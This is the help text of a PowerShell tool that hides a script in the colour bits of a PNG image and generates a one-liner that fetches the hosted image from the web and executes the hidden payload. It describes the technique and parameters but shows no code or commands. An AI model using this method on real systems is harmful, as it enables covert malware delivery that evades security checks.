.SYNOPSIS

Embeds a PowerShell script in an image and generates a oneliner to execute it.
Author:  Barrett Adams (@peewpw)

.DESCRIPTION

This tool can either create an image with just the target data, or can embed the payload in
an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in
each pixel (for as many pixels as are needed for the payload). Image quality will suffer as
a result, but it still looks decent. The image is saved as a PNG, and can be losslessly
compressed without affecting the ability to execute the payload as the data is stored in the
colors themselves. It can accept most image types as input, but output will always be a PNG
because it needs to be lossless.

.PARAMETER Script

The path to the script to embed in the Image.

.PARAMETER Out

The file to save the resulting image to (image will be a PNG)

.PARAMETER Image

The image to embed the script in. (optional)

.PARAMETER WebRequest

Output a command for reading the image from the web using Net.WebClient.
You will need to host the image and insert the URL into the command.

.PARAMETER PictureBox

Output a command for reading the image from the web using System.Windows.Forms.PictureBox.
You will need to host the image and insert the URL into the command.
